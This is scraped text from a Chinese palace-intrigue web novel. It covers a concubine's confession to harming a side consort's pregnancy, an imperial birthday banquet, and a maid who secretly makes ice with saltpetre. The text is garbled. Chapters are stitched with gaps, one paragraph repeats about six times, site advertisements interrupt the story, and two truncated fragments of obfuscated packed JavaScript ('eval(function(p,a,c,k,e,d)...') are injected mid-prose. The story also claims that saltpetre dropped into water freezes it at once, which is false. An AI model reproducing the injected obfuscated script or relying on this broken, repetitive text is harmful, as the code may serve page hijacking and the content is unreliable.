“康侍妾这是哪儿的话,我才进府不到两个月,这里还有那麽多姐姐,你教她们如何心情?”崔侍妾不紧不慢的,倒是把康侍妾架在火盆子上面烤了。 她低估了康侍妾的蠢,她仗着自个有孕,便看不起任何一个没有生育的人,她说,“到底是我年轻,这才能生。”像她家那些小娘,一个个人老珠黄,还怎麽生? 崔侍妾从前听过一句话,女子有孕傻三年,可是康侍妾,这不是蠢上加蠢麽?后院恁多女子,就她是这般吵吵嚷嚷的。 作者有话要说 第 48 章 苏侍妾 “竹清。”这天下值,竹清刚与画屏交接,待她与绘夏上值,她这才回厢房。刚进去还没关门,就听见暖春喊她。 “怎的了?”竹清客气地问道,暖春进来后,把手上的几样东西怼进竹清的手里,憋出一句话来,“竹清,我是来与你道歉的。” 她一咬牙,把早已经想好的话说出来,“我一开始是看不惯你,又觉着你抢了王妃的宠爱,所以才三番两次针对你。可是经历了江家那件事后,我忽的想明白了,王妃还是会对我好,为我着想,我以前的担忧实属是没有必要的。我不该针对你们,对不住。” “我与你们三个,俱都送了礼倒了歉的,” 竹清挑眉,忽然懂了,暖春就是害怕其他大丫鬟抢走王妃的疼宠,就跟侍妾争雍王宠爱一般,她们作为丫鬟,也需要有王妃的信任与关心才有体面。 所以暖春很担心。 可退婚的时候,雍王妃前前后后为她做了不少的事,教她看明白了,雍王妃不会因着旁人而忽略了她。 “这几份是感谢你救了我,还有,明日下响我在聚仙楼摆上一桌儿,请你与曾婆子去,你且告诉我,去不去?”暖春有些忐忑,她与竹清有恩怨,最怕的就是竹清不答应。 “去啊。”竹清笑了笑,“有免费的饭菜谁不吃?”她不至于与暖春一笑泯恩仇,但是至少以后,大家能维持平静,再则她即将就要院内院外两头跑了,与暖春见的次数会少很多。 这样相安无事就很好了。 暖春一喜,她一笑,倒教竹清才想起来,她也不过才十八。 翌日,竹清与曾婆子一同去了聚仙楼,曾婆子喜得跟成亲似的,她头一回来聚仙楼,恨不得把全部都记下来,日后也有了与人学舌的本钱。 如此,用罢了这一次饭,竹清与暖春的事就已经翻篇,暖春也不会在竹清、绘夏还有画屏跟前争个眉眼高低,只是得了空,照样戴上王妃赏赐的东西出去显摆。 按照她的说法,那就是:她这般努力当差,得了王妃的赏赐,为的就是教人知道她能力好。若是赏赐不戴出去,难不成在妆奁里生毛麽?那她努力当差做甚? 如此,倒也有几分率真可爱。 * 五月初二,四个大丫鬟俱都随着雍王与雍王妃进宫。明 日五月初三是万寿节天不亮他们就得随着圣上敬天祈福又要拜过宗祠所以今日就得宿在宫中。 长春宫淑妃见到了雍王一口一个“我的儿”雍王不能常常进后宫她也的确有一段时间没有见过雍王了。 待雍王与雍王妃坐下淑妃就炫耀般说道:“本宫猜你们还不知道罢德妃前两日被圣上训斥了!” 后宫的事雍王还不如雍王妃知道的多毕竟她时常出入后宫所以这事雍王妃已然知道了。 “母妃快与我们说说。” “德妃请了圣上过去谁知醉翁之意不在酒她想趁着圣上吃醉把自个的贴身宫女推到龙床上谁知圣上在储秀宫砸了好些的东西然后怒气冲冲地从里头出来。啧啧德妃惹了圣上厌弃这事可是被长街上打扫的宫人们瞧得一清二楚的。不过他们只知道德妃让圣上不高兴却并不知内里实情。”淑妃幸灾乐祸虽然说后面皇后教人封口了不许传这件事可是她到底是妃位还是知道了真相。 “当本宫不知道呢?她自个不能生了便想让年轻的生生下来了好扶持宣王……”淑妃难得的聪明一次又说道:“怎麽可能相差恁大是养兄弟呢还是养儿子?” 说罢这些淑妃又问道:“贺侧妃如何?是不是个好的?之前你父皇来长春宫与本宫说待过个半年再给你赐一个侧妃赐个有福气的。” 她看向雍王妃“孩子如何了?最近吃喝可还顺畅?”眼见圣上会考教宣王的孩子她也有些着急急切的盼望着雍王妃快快生下嫡子。 雍王妃一一回了又听淑妃得意起来“待日后本宫也有孙儿了 至于没有生母的祁王向来被她们忽视同样的祁王府现在还没有个一儿半女也没有人催促。 住过一晚翌日天黑蒙蒙的长春宫便热闹起来端着洗漱的物什的宫女们进进出出的竹清替雍王妃梳了一个端庄的发髻又戴上一整套宝石头面如此才好了。 雍王妃略吃了两块糕点垫肚子随后与淑妃一同先去椒房殿至于雍王是先行拜见圣上的。 竹清一边认路一边记娘娘们的脸庞与脾性她发现德妃居然也到场了哪怕才惹圣上生气到底舍不得这一次的大 日子,厚着脸皮便来了,教淑妃好一顿嘲讽。 德妃身边的宣王妃也面红耳燥,教人挤兑得恨不得找个地缝钻进去。做儿媳的,不好面上表露出来,可是内里,却还是怨德妃的,她丢脸,害得她也跟着丢脸。 画屏低声与竹清说,“那个贺美人,与贺侧妃是一个宗族的,不过贺美人不得宠,与贺侧妃没有多大的益处。” 竹清看去,贺美人与贺侧妃生的一样浑身书香气,打眼一瞧,便是斯文内敛的。 请安结束了,皇后亲自带着这些女眷前往宗辰殿,上过香,又与圣上一同上祭台,待法师做过法,圣上敬天祈福,万寿节便过去一半了。 竹清跟着雍王妃走了一天,又站又跪的,只觉得这双腿都不是自个的了,待到午时,她们终于能吃上热饭热菜。 吃罢,还不能歇息小憩,又要与雍王妃换一身适合晚上宴席的服饰,来来回回折腾,一个个脸上还要带着笑,不然就是不尊敬。 晚上的宴席才是重头戏,皇室宗亲与文武百官按照各自的位置入座,外地做官的官员不必回来,只送了礼来便可了。 竹清第一次看清皇帝,他脸庞瘦长,眼神锐利,脸上沟壑很深,瞧着有几分摄人。他的背很直,明黄色的朝服衬得他高不可攀。 “太后娘娘驾到。”大殿门口的太监唱词,这个平日里只在宫里头礼佛的主子在圣上诞辰这一日终于踏出了寿仁宫。 “参见太后娘娘,太后娘娘千岁千岁千千岁。”竹清随着众人下跪。 太后似乎有些虚弱,由着身边的嬷嬷扶着,皇帝面上功夫做得足,下去在另外一边扶着她,待到高台上坐稳后,她才抬手,“都平身罢。”她又看向皇帝,笑着称赞道:“皇帝有有心了,快坐。” 皇帝并非她亲生,但是这麽些年,对她也无甚不妥的地方,一应的东西每月都是够的。甭管是做戏给天下人瞧还是他真的想要孝顺她,终究是做了那麽多年了。 “朕不是说了,太后病着,就不必来了,这里人多,恐怕不利于太后养病。”皇帝对太后说,太后说道:“万寿节这样的大日子,哀家如何能不来?” 皇帝的表情有些难以捉摸,皇后出声,“到底是太后与陛下母子情深。”如此,倒是全了脸面,也教皇帝与太后不说话了 。 三个王爷轮流上去献礼的时候皇帝只淡淡的夸了两句到了宣王的孩子们他对这些小皇孙也无甚特别的态度。 皇室宗亲还不算急切倒是大臣们少不得相互使眼色皆是有些忧虑圣上不立太子终究动摇国本不过麽这三个王爷也的确没有让人佩服的能力。 性格方面与能力方面好似一个都不占愁啊! “敬词!”有太监唱道随后除了皇帝其余人皆起身行跪拜礼口中念念有词俱都是祝福的词语甚麽万万岁、寿比南山、福如东海…… “起!” 众人又起身听皇帝说道:“坐罢。” 太监又长长地唱道:“奏乐起舞!” 如此晚宴才正式开始。 竹清抬眼偷摸看待看见太后身边的嬷嬷时她惊讶地睁了睁眼睛那个人赫然是除夕节她遇见的那个罗娘子! 她今日穿的贵气比起下面的贵妇人们也不差甚麽了且因着是伺候太后的旁的人都对她有几分尊敬。 后宫妃嫔们轮流与圣上敬酒雍王妃也去了 “同贺。”雍王妃只碰了碰嘴唇并没有把酒一整杯喝下去倒是一旁的祁王妃明显借酒浇愁一口喝尽这还不解气又倒了两杯。 雍王妃劝道:“快别喝了仔细着伤身子对了祁王呢?怎麽不在你身边?” “呵他去更衣了。”祁王妃哀哀一笑到底顾忌着这是圣上的生辰喝过两杯便不喝了。 碰巧祁王妃手上的酒杯撒了一点点酒出来雍王妃见她粘湿了衣裳便说道:“快些去换罢。” 祁王妃为难“我身边的人不熟悉这里若是教其他宫人带路只怕惊扰圣上。”她不常入宫现在找个人带路都不知道找谁。 “绘夏你带着祁王妃去。” 如此祁王妃才离了。 只是不多时又见绘夏匆匆回来脸色不大好与雍王妃低声说了甚麽雍王妃明显惊讶瞧了瞧上首与雍王说道:“王爷妾身有些醉了去吹吹风。” “去罢父皇母妃问起来本王会替你遮掩的。”雍王说他了解祁王妃知道她不会无缘无故半路离去。 竹清也随了雍王妃去,只见在御花园附近,她们看见了略微有些衣衫不整的祁王,他明显的喝醉了,脸庞红红的,浑身酒气。他身边还有一个貌美的太监,这会儿怯怯地低下头。祁王妃还在一旁,瞧见她们来,也不打算替祁王掩盖了,直直地问道:“你与他这是做甚?” 祁王妃满心痛苦,她自嫁入王府,便不敢懈怠一丝一毫,见祁王没有生母,后宫无人照拂,便也不敢生事,在其他两位王妃面前也是让着的。 可饶是她做得如此体面,半分不出错,祁王他,也不与她交心。除了大婚那一次,他不曾踏入她的院里。 她以为是她貌丑无盐,使得他不喜,于是更加严厉地对待自个,可是某一回外出,她瞧见了祁王与一个男子来往亲热。 那时,她如遭雷劈,简直不敢相信自个的眼睛,还是丫鬟叫她,她才回过神来。待回去一查,祁王果然喜好男风,是个断袖之癖! 她与祁王大吵一架,祁王还说道:“你要的体面尊重,我都与你了,后院哪个都越不过你去。对父皇母后,我也承认是自个的问题,所以不能生。待日后,与其他两个兄弟过继一个儿子,养在你膝下,教咱们祁王府有了香火子嗣,这还不够麽?” “我怕母后问责于你,不教她们觉得是你的问题,你去宴会,我也会亲去接你回来,人前人后的体面,皆是妥当。你还要甚麽?”祁王不解,但是他的的确确不喜欢祁王妃,而且,他不喜欢后院的任何一个人。 若不是要堵住外头人的嘴,他甚至王妃、侍妾都不想要。 说更新,记住域名caixs.com?(请来才小 说 看最新章节 完整章节) “我要甚麽?”她记得她那时哭的泪流满面,不顾规矩地大吼大叫道:“我一个女子,你说我要甚麽?我不过是想要夫君的关心呵护,想要真正的喜爱,想要一个属于我的孩子,我有甚麽错?” 只可惜啊,只可惜啊! 祁王妃恍恍惚惚,她站在这御花园,仿佛又回到了发现祁王好龙阳的那天,一样的心痛,一样的崩溃。 祁王想上前安抚她,她一个激灵,后退几步,差点摔倒,饶是如此,她也还是叫道:“滚开,你莫要碰我!” 她踉踉跄跄着离开了,雍王妃瞧了瞧他与那个太监,意味深长地笑了笑,却甚麽也没有说,自顾自带着人回了宴席上。 难怪祁王妃一直 底气不足,与她还有宣王妃聚在一起时,也从不敢大声,甚至皇后也从来不催祁王妃要快些生孩子。 祁王这个样子,如何生。 果然是酒壮怂人胆,又亦或是看大家注意力都在这边,所以祁王才敢在御花园偷腥? 雍王妃猜测着,不妨碍她继续与人推杯换盏,知道了这个,她明白,雍王的对手且剩下一个,宣王! 晚宴结束后,就到了齐聚桐雀台观看烟火的时候了,随着圣上点头,皇城上空燃起五颜六色的烟火,因着距离近,开花的烟火像是把他们笼罩进去,如此盛大,如此震撼。 待烟花爆竹燃完,就该各自回了。 雍王妃与雍王先回了长春宫,问了淑妃的情况,淑妃有些醉了,靠在美人榻上,一双眼睛半眯半睁,见是他们,就说道:“你们也都出宫罢,等一下宫门下钥,想走都走不了。 这般全了规矩,雍王妃与雍王这才出了宫,路上,雍王妃还在想祁王的事,就听见雍王喜滋滋地说道:“方才父皇勉励我继续读书,说我有长进。 说全网首发无弹窗免费阅读caixs?(请来才小 说 看最新章节 完整章节) 雍王妃就差翻白眼儿了,都多大了,还长进?她这会儿不想与雍王聊这些没有益处的话题,赶紧敷衍了事,又想,皇后不催祁王妃生育,也就是说她也是知道祁王这件事的,那麽圣上知不知道? 若不知道,祁王也无甚竞争力,虽然他的差事做得比宣王雍王要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你个毒妇缘何要害方侧妃的孩子?方侧妃生不生与你有甚麽干系?你只好好养着敏姐儿就是了恶毒!”雍王指着她骂苏侍妾还是伺候他的老人了与敏姐儿生母一同入王府的他原以为她是个好的虽然只略略认识几个大字但是人温和谦逊也不错。 万万没想到内里竟然如此不堪! 雍王说到这苏侍妾终于有了大的反应她猛然抬头看向雍王讽刺地笑道:“原来王爷是这般想妾身的妾身如何有错?若不是方侧妃有了这个孩子刘侍妾何必去害她?若刘侍妾不死妾身又何必养敏姐儿?敏姐儿是刘侍妾的女儿那个贱人生的孩子也是贱人——” “放肆!敏姐儿是王府的姐儿你一个侍妾敢对她说不敬的话?”雍王妃突然开口打断了苏侍妾的话得亏敏姐儿不在这里不然听见了该有多难过? 哪怕是姐儿哥儿的生母到底地位比不上哥儿姐儿的毕竟不论嫡庶皆是王府的孩子地位身份自然是比这些侍 妾要高。 哪里就轮到苏侍妾有资格嫌弃敏姐儿了? “还有你与刘侍妾到底有何不和?”雍王妃疑惑。 “难道不是麽?说起来这事王爷也清楚罢。妾身与刘侍妾进府的时候还顽得好好的可是某一天王爷到妾身这里那个贱人竟然使了法子把王爷请走了就是那一回就是那一回那个贱人怀上了孩子。王爷王妃妾身难道不应该恨她麽?”苏侍妾一颗心肝抽痛起来若那天王爷留在她的院里指不定她也能生下一个孩子甚至她比刘侍妾有福气生个哥儿彻底稳住地位。 “她倒是好抢了妾身的恩宠还成天儿地到妾身面前炫耀真真儿是可恶。”苏侍妾恨不得亲自打刘侍妾几巴掌以解心头之恨。 甭管进府的时候多亲热多情同姐妹涉及到恩宠子嗣没有多少人能够平静翻脸也不过是时间的问题。 “这事妾身倒是不知道。”雍王妃看向雍王听起来这件事应当发生在五六年前那个时候她还在闺阁中也断然不可能打探到王爷后院的事。 若她早就知道当初是不可能教苏侍妾养着敏姐儿的。 雍王移开目光下意识地用手摸了摸鼻子 当初他就是觉得苏侍妾与刘侍妾交情好这才让她养了敏姐儿。 “王妃自然是不知道的若是知道如何还会教妾身好好待敏姐儿?妾身一看见她就犯恶心她和那个贱人长得一模一样。”苏侍妾厌恶刘侍妾到了极点自然恨屋及乌不可能喜欢敏姐儿的她说道:“可是妾身总是想着若方侧妃的孩子没有了王爷看在敏姐儿的份上能多些来看看妾身教妾身有个自己的孩子。” 可是有那麽一回王爷只说让她守着敏姐儿好好过就行了那个时候她就明白她这辈子是不会有自个的孩子了。 教她如何甘心! 所以她恨任何有孩子的人这才害了方侧妃。 雍王妃却忽然想到了甚麽赶紧吩咐了人去瞧康侍妾与春莺姑娘生怕苏侍妾也对她们两个下手。 王府可不能短时 间内接二连三地没了几个孩子,这对母妃如何交代? 苏侍妾哼笑,“王妃何必如此紧张,妾身还没来得及下手呢。 至于为甚麽不先害春莺姑娘的孩子,或许是因着,她身份低微,教她瞧不上眼,本来她是想着慢慢对付春莺的,最好教她生产的时候一尸两命。 这般想着,苏侍妾露出可怖的笑容,像一个疯婆子,如今的苏侍妾再也没有了当初进府时候的天真烂漫,在后院的沉浮中变成了一个满心疯魔的女子。 “贱人!雍王对身边的人说道:“去,给本王狠狠地掌她的嘴,甚麽时候让停了再停! 雍王妃叹气,恩宠与子嗣牵挂后院的女子的下半生,像苏侍妾一样不甘的侍妾通房还少麽?只不过她们不敢做甚麽而已。 “此事都是妾身失责,没能及时发现枝儿是苏侍妾的人。 “这事不怪王妃,毕竟本王也是现在才知道,王府的丫鬟竟然不是听命于本王与王妃,而是听命于一个侍妾,真真儿是可笑得紧。雍王如今是及其看不惯枝儿,那是一种权威被挑战的不虞感。 那枝儿在苏侍妾进府后不久被她救了一回,让她免于大冬天冷死,所以她这才暗地里效忠苏侍妾。 “妾身只可惜当初没有多救几个人,说不得这一次能多害两个孩子。她不敢害雍王妃的孩子,但是其他人的,有一个算一个,皆是看不顺眼的。 作者有话要说 第 50 章 买不到冰块 这件事做完,竹清还有旁的事,她回到厢房,拿出那一长串的单子,里头是各家各户与雍王府的关系好赖,她以后做管事,管的主要是送礼走访,所以就得记住哪家与王府关系好,日常节日礼就得重两分,哪家与王府关系不大好,那麽送礼就可以得个架子,大体上过得去就成了。 这些都是学问。 特别是六日后的聚会,各家势必会送来一份厚礼,到时候如何回礼,都是她现在就得想好的。何况她不仅管这个,还要随王妃进出,记得东西更多。 这件事做完,竹清还有旁的事,她回到厢房,拿出那一长串的单子,里头是各家各户与雍王府的关系好赖,她以后做管事,管的主要是送礼走访,所以就得记住哪家与王府关系好,日常节日礼就得重两分,哪家与王府关系不大好,那麽送礼就可以得个架子,大体上过得去就成了。 这些都是学问。 特别是六日后的聚会,各家势必会送来一份厚礼,到时候如何回礼,都是她现在就得想好的。何况她不仅管这个,还要随王妃进出,记得东西更多。 这件事做完,竹清还有旁的事,她回到厢房,拿出那一长串的单子,里头是各家各户与雍王府的关系好赖,她以后做管事,管的主要是送礼走访,所以就得记住哪家与王府关系好,日常节日礼就得重两分,哪家与王府关系不大好,那麽送礼就可以得个架子,大体上过得去就成了。 这些都是学问。 特别是六日后的聚会,各家势必会送来一份厚礼,到时候如何回礼,都是她现在就得想好的。何况她不仅管这个,还要随王妃进出,记得东西更多。 这件事做完,竹清还有旁的事,她回到厢房,拿出那一长串的单子,里头是各家各户与雍王府的关系好赖,她以后做管事,管的主要是送礼走访,所以就得记住哪家与王府关系好,日常节日礼就得重两分,哪家与王府关系不大好,那麽送礼就可以得个架子,大体上过得去就成了。 这些都是学问。 特别是六日后的聚会,各家势必会送来一份厚礼,到时候如何回礼,都是她现在就得想好的。何况她不仅管这个,还要随王妃进出,记得东西更多。 这件事做完,竹清还有旁的事,她回到厢房,拿出那一长串的单子,里头是各家各户与雍王府的关系好赖,她以后做管事,管的主要是送礼走访,所以就得记住哪家与王府关系好,日常节日礼就得重两分,哪家与王府关系不大好,那麽送礼就可以得个架子,大体上过得去就成了。 这些都是学问。 特别是六日后的聚会,各家势必会送来一份厚礼,到时候如何回礼,都是她现在就得想好的。何况她不仅管这个,还要随王妃进出,记得东西更多。 这件事做完,竹清还有旁的事,她回到厢房,拿出那一长串的单子,里头是各家各户与雍王府的关系好赖,她以后做管事,管的主要是送礼走访,所以就得记住哪家与王府关系好,日常节日礼就得重两分,哪家与王府关系不大好,那麽送礼就可以得个架子,大体上过得去就成了。 这些都是学问。 特别是六日后的聚会,各家势必会送来一份厚礼,到时候如何回礼,都是她现在就得想好的。何况她不仅管这个,还要随王妃进出,记得东西更多。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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特别是六日后的聚会,各家势必会送来一份厚礼,到时候如何回礼,都是她现在就得想好的。何况她不仅管这个,还要随王妃进出,记得东西更多。 第 51 章 硝石制冰 孔管事顾不得怪曹大商人,又使他想法子,“曹哥哥,你再与我想想办法罢,我们相识这麽多年了,你难道忍心看我被责罚?” “孔弟弟,不是哥哥我不想法子,这上上下下的,都没有,除非你们能再等几天,从外头运过来。”曹大商人说,但是这可能麽?洗三礼也不可能推迟。 “孔管事,不若咱们去别的地儿问问?”竹清说,只在这里耗费时间,那更加不成的。 曹大商人赶紧也劝道:“你们只管去,我现在再出去打听打听,若有,就与你们捎个信儿去。”他也有自个的小心思,若孔管事出去能寻到足量的冰块,那他自然不用愁了。即便没有,孔管事也该知道,不独他这里没有,也不是他不尽心。反正不论如何,他都不亏的。 孔管事只得与竹清离了曹大商人这里,他唉声叹气,说道:“曹大商人这里是咱们王府每年买冰数量最多的地方,这儿都没有,其他地方,那更加是难了。” 他们紧接着又去了文生书馆,那掌柜的听闻他们来意,先道了个歉,说道:“真是不巧,咱们文生书馆过两日有一场诗会,正请了许多大拿过来镇场子,冰块这些都是不能缺了的。再有就是,前几日,金家又来买了十来车冰块,这一下子,匀给你们就不够了。” 金家,竹清知道,京都只有一个金家,那就是宣王妃的母家。 至于剩下的行福酒楼,便不用去了,那儿不卖生冰,只卖食冰。 孔管事如丧考妣,一时间只觉得人生就这样了,现在这趟差事办的如此稀疏,他如何与雍王妃交代?如何与宋管事交代? “孔管事,宋管事寻你呢,说是王妃已经在问冰块的事宜了,这是慢不得的,还使你快些回去王府。”一个小厮来寻孔管事,顿时教孔管事脸色愈发难看,他叹道:“知道了。” “孔管事,不若你先回去,我再逛逛。”竹清说。 “去罢。”孔管事只当竹清贪顽,并不拘她,左右他回去也是挨骂的,何必教这个小娘子也跟着他去遭骂? 如此,他们就分开了。 得到冰块麽,有两种法子,第一种就是买,已然行不通了。这第二种,就是自己制冰——硝石制冰。但是第二种有两个问题,一,她如何购买到硝石?二,她怎麽知道硝石能够 制冰的? 竹清眼神在繁华的集市上扫了两眼已然有了对策。 不多时她也融入了人流中。 * 雍王府正院。 待听完孔管事说的话雍王妃气急说道:“她个恨不得我们倒霉的居然使这些下作的手段现在还有几日就要办宴会了去哪儿寻恁多冰块?” 宋管事劝了劝“王妃莫急小心身子。” “如何不急这一回请的皆是皇室宗亲他们见惯了好东西的若我们连这种面上的体面都顾不到还不知如何嘲笑我们呢。”雍王妃只要一想到丢脸心头的火苗就一蹿一蹿的。 “都是小的办事不力请王妃责罚。”孔管事认了错他说“若小的提前个几日告知曹大商人让他留与咱们王府足量的冰块现在王妃就不用担忧了。” “这事你虽然有错却不是大错。”雍王妃冷笑连连说道:“哪怕咱们预定了那宣王妃一去要曹大商人敢不给她?只怕她能把曹大商人的店都给拆了曹大商人万万不敢得罪他的。” “如今食冰是够的唯有这生冰那点子量是不够一天的用量。”宋管事说王府那一天差不离每个地方都会摆上冰块凡是宾客们可能去的地儿都要候着小丫鬟 可以想象耗费的冰块究竟有多少。 雍王妃气恼宋管事沉思孔管事惭愧。 其实雍王府里的冰窖还囤着十来车冰块但是那些除了供王府使用外还要运进宫里头虽然宫里头的主子们不缺冰块使用但是孝心是要表现的。 那宣王妃买恁多冰块大半都是送进宫如此倒教她有了光明正大的借口。 一连急了两三日雍王妃口舌生疮宣王府既然作下了这件事肯定是下狠手的一时间她居然凑不够冰块。 恁多行商只能零零碎碎凑出几车偏偏她不好大动干戈不然白白教人看了笑话去。 雍王妃与孔管事急了多少日竹清就往府外去了多少日她如今能正经在外头行走腰牌一亮就能出府故而倒也方便。 在王府气氛不大好的时候她去了一个僻静的小院子这里无甚特别之处唯有地下挖了一个大的冰窖这就是她特意 租这里的原因。 “小娘子,货物都运来了。”几个脚夫把一袋袋包裹严实的东西卸下来,竹清把银钱与他们结了,教他们离开。 脚夫们聊着天,“从未作过这般轻省的活计。”他们不知货物是甚麽,也不关心。 竹清拆开麻袋,里头装着的赫然是硝石,她先拿起一块,随后打开冰窖走了下去,下边摆放着满满当当的水桶与木盆,那是她租院子的时候,就与了经纪交代,让他打上这些水来,主子要清洗院子。 “咚”的一声,一小块硝石被她丢下,水面摇晃几下,很快结了冰,待寒气蔓延,竹清满意地笑了笑。 至于这些冰块的来源麽……她早就想好了借口。 * 又是着急上火的一日,雍王妃刚刚大口大口喝了安胎药,就看见一个小丫头来报。 “启禀王妃。”一个小丫鬟小心翼翼地进来,待雍王妃看向她,她才说道:“王妃,竹清姐姐回来了,她还带回来了三十六车的生冰,如今俱都等着王妃的吩咐,看看藏在哪儿。” 雍王妃一惊,连挨骂了好几日的孔管事都猛然抬头。 “她去哪里找的冰块?”雍王妃惊奇,连她都焦头烂额的事情,竹清居然替她解决了? “奴婢不知,想必这事只有竹清姐姐还有曾婆子才知道,王妃可要去门口?” 雍王妃赶忙领着宋管事与孔管事去了王府门口,此刻的竹清正在指挥一车车冰块进府,曾婆子跟着她,也当了一回爽气的管事,那运冰的车夫问她,“这位妈妈,后头还有冰块呢,也是运到这里麽?” 曾婆子故作高深,“你且等等,我去回禀一下。”说罢,她扭身就走,只是脚步晃悠,活像是喝醉了酒。 哎呀呀,可了不得了,她居然也会被人叫一声妈妈! “竹清。” 竹清转身,行礼,“见过王妃。” “免礼,这是……”雍王妃摆摆手,问竹清冰块从何而来。 竹清低声在她耳边长话短说,雍王妃听着,眼里异彩连连,言自己知道了,然后接过竹清递过来的单子,开始安排这一车车冰块的去处。 王府暂时放不下这麽多,一部分先运去附近的庄子与院子。 竹清还在替孔管事周全,说道:“王妃有 所不知,奴婢说有办法试一试,孔管事且不知深浅,便没有先回来回禀王妃,他怕奴婢说空话,也不先教你知道。” “罢了,到底办事费心,你的罚便算了。”雍王妃睨向孔管事,孔管事自然是要罚的,不过现在她心情不错,又有竹清开口,这次就算了。 “谢雍王妃。”孔管事朝竹清投去感激的眼神,暗自感叹竹清真是个值得交好的人,他想好了,这些天就把他相识的一些人脉介绍给竹清,待他走了,竹清做事也能便利些。 “都散了罢,这是,曾婆子?”雍王妃问,曾婆子听见王妃提到自个,便赶忙上前,弯腰说道:“王妃好记性,正是老奴,今个竹清姑娘忙,我便也在这里帮着一点。” 雍王妃看了曾婆子的做事,挑不出错处,便点点头,说道:“也罢,这些天你不用回正院服侍了,跟着竹清忙就好。” 曾婆子一喜,呼吸急促,她她她,这是往上走了? “诶,谢王妃,老奴谢过王妃。” 竹清也欢喜,这般日后就不必她开口要曾婆子了,甚好甚好。 一时间,俱都喜气洋洋。 * 宣王府,早有人盯着雍王府,见他们运了许多冰块回来,就去禀报宣王妃。 “甚麽?”宣王妃震怒,“她们去哪儿弄得冰块?不是都没有了麽?气煞我也。” “小的也不知道,只知道是一个小丫头带回来的,她们都喊她竹清,就是上一回送请帖来的那一个。” “贱人。”宣王妃一想到那次的戏弄就恨得牙根痒痒,这回更加,居然又干那个竹清的事,简直让她气的恨不得立马扭了竹清来跟前,好好教训一场才好! “好啊,我只是想给姜扶姚一点脸色瞧瞧,没成想她跟前的狗腿子又跳出来坏我的好事,且给我等着瞧,我早晚料理了她。”宣王妃揪着抱枕捶打,一想到雍王妃又得意起来了,她胸口又忍不住疼。 说起来,其实她与姜扶姚当初在闺阁的时候还是能好好地说话的,打马球有时分在同一个队伍,她们还能一起合作赢下比赛。 可是自从她们两个当了王妃,一切就变了,德妃让她一定要把姜扶姚比下去,金家让她做好出色的王妃,不能让其他两个王妃越过去。 如此,慢慢的,她也视姜 扶姚为对手。 哪知有一天,姜扶姚还假惺惺地与她说,她们两个和睦一些才好,怎可能会好?明明她们之间,不是你死就是我活的关系。 她的夫君是宣王,他难道就对皇位没有想法麽?笑话,哪个没有想法的? 只要宣王当了皇帝,她就是皇后,而若是雍王当皇帝,皇后之位就是姜扶姚的。她们之间,就是竞争的关系! “罢了,且等我慢慢筹谋。”宣王妃想,女眷有女眷的斗法。 * 竹清替雍王妃解决了一个大问题,这事整个王府的管事都知道了,毕竟他们一直在王府进进出出,竹清弄出的大动静,只要不是眼瞎的,俱都瞧见了。 “王妃喝口燕窝,淑妃娘娘特意教人送来的血燕,据说滋补着呢,一个人吃,两个人补。”竹清探了探燕窝的冷热,这才舀了与雍王妃吃。 “快些放下,且等我自己吃。你累了一天了,先去歇息罢,何必还来伺候我?没得教人觉得我苛责,快去。”雍王妃今儿舒畅,也有心情与竹清玩笑。 竹清却不肯,委屈巴巴地看着雍王妃说,“王妃这是不教竹清伺候了?可是不喜欢竹清在您面前晃悠?奴婢不觉得累,只觉得能帮到王妃,减轻王妃的辛苦,就很高兴了。” “难不成,王妃连奴婢的这一点心意都不想要麽?” “哪儿的话。”雍王妃拉了竹清坐下,真情实意地说道:“我最喜欢你了,老实不说,人又能干。我若是不喜欢你,岂不是眼睛不中用了?” “只是竹清啊,你还没长大,天天这样累,亏了身子可怎麽好?”雍王妃摸了摸竹清的脸,突然眯了眯眼睛,有些难以置信道:“竹清,你,是不是又胖了?” “这哪儿叫胖,奴婢只是长肉了。”竹清解释,感谢钱师傅的喂养。 “长肉了好,好。”雍王妃觉得竹清这样辛苦,倒是比暖春绘夏等人还要健康,起码其他丫鬟都瘦了,一个个苦夏。 “对了,你今日用了这个玉佩,日后怎麽办?”雍王妃问。 “能为王妃解决问题,那才是奴婢这个玉佩的最佳去处。”竹清满口胡言,说道:“奴婢不后悔用了罗娘子给的玉佩。” 除夕夜,她曾经救了一个叫罗娘子的人,她与了她一个玉佩,日后有甚麽 事都能找乔生布庄的掌柜的解决。 自然玉佩还在她的手里她没有用不过并不妨碍她用这样的借口搪塞雍王妃。她骗雍王妃她今日去了乔生布庄把那玉佩用了换回来三十六车冰。 竹清只说救了罗娘子却没有与雍王妃说罗娘子就是太后身边的嬷嬷她怕多生事端。 而且这是她的机缘她是断然不会为他人作嫁衣的。 “说不得以后还有大用处呢。”雍王妃替竹清惋惜一个玉佩就能换来恁多冰块可见背后的人势力不小。 她倒是没有怀疑竹清的话是假的早在王府门口竹清与她说了之后她就寻了竹溪一家子来问话而且是挨个问待知道罗娘子能让竹清她们上聚仙楼顶层用饭她就信了七八成。 况且她也派人去乔生布庄问了那掌柜的的确说有个小娘子到他的布庄里去了。 竹清没有骗她反倒教她愈发的可惜。 如此匆匆用了玉佩貌似有些浪费。 竹清想万寿那天她分明察觉到罗娘子看了她几眼她是雍王妃身边的人雍王又是那样的身份太后虽然避事但是到底身份尊贵。或许这块玉佩日后与她有大用处她可不会随随便便就用了。 与她而言冰块这事是小事一件能让她在升职加薪道路上越走越远的垫脚石罢了。 “王妃这是哪儿的话奴婢救只帮了她一个小忙若以后挟恩图报教人家为难岂不是反过来得罪人了?”竹清说雍王妃一想也是太过贪得无厌可不好。 “也罢此事你做的很好宋管事与孔管事也赞你。往后你当了管家 “竹清。” 竹清正伺候了雍王妃用完燕窝打算去厢房沐浴就听见外头有人喊自个。 是孔管事他身边还站着曾婆子。 “孔管事你怎的还没有出府去?”竹清疾步过去像孔管事这样的身份早已在外头有了自个的小院子他家中一干亲人俱在几乎每一晚都会家去。 “孔管事是特意等你的呢竹清姑娘。”曾婆子笑得合不拢嘴。 竹清听完孔管事说的话才知道曾婆子为甚笑得一脸褶子孔管事正预备 着请竹清与曾婆子家去吃席。 